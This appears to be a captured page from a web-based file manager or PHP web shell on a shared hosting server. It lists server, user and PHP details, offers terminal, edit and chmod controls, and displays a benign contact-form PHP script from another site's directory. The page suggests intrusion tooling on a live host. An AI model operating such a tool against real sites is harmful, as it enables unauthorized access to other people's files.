🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux s20058.bom1.stableserver.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
👤 User: skhata (1324)
🐘 PHP: 8.4.20
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/skhata/chandrasons.com/public
$

📄 contact_submit.php

📁 Path: /home/skhata/excellenteducation.com.np/contact_submit.php
📊 Size: 698 B
🔒 Perm: 0644
📝 MIME: text/x-php
<?php
require_once __DIR__ . '/includes/functions.php';

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    redirect('contact.php');
}

if (!empty($_POST['hp_field'])) {
    redirect('contact.php?sent=1');
}

if (!csrf_verify()) {
    redirect('contact.php?sent=error');
}

$name = trim($_POST['name'] ?? '');
$phone = trim($_POST['phone'] ?? '');
$email = trim($_POST['email'] ?? '');
$message = trim($_POST['message'] ?? '');

if ($name === '' || $message === '') {
    redirect('contact.php?sent=error');
}

$stmt = db()->prepare('INSERT INTO contact_messages (name, phone, email, message) VALUES (?, ?, ?, ?)');
$stmt->execute([$name, $phone, $email, $message]);

redirect('contact.php?sent=1');
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨